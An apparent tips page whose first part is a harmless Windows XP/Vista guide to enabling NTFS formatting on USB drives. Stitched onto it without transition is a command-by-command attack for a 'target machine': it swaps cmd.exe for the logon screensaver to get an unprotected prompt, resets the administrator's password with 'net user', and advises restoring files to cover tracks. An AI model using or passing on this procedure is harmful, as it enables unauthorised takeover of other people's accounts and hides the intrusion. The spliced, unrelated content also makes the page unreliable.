Formatting USB drives for File System (NTFS)
In Windows XP and Windows Vista you can set to format an USB drive with NTFS. By default, formatting USB drives is set only to FAT and FAT32. In order to enable the USB drive formatting with NTFS, please follow the next steps:

* Connect your USB device to your computer;
* Right-click on My Computer from the desktop;
* Choose Manage;
* Next click on Device Manager and then expand Disk Drives;
* Go to the USB drive list and choose your device;
* Right-click on the USB drive under Disk Drives and choose Properties;
* Then go to the Policies tab;
* The default policy is set to Optimize for quick removal. Change it by selecting the Optimize for performance.

Now open Windows Explorer and right click on your USB drive and select Format. You will have a new option for File System (NTFS)

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks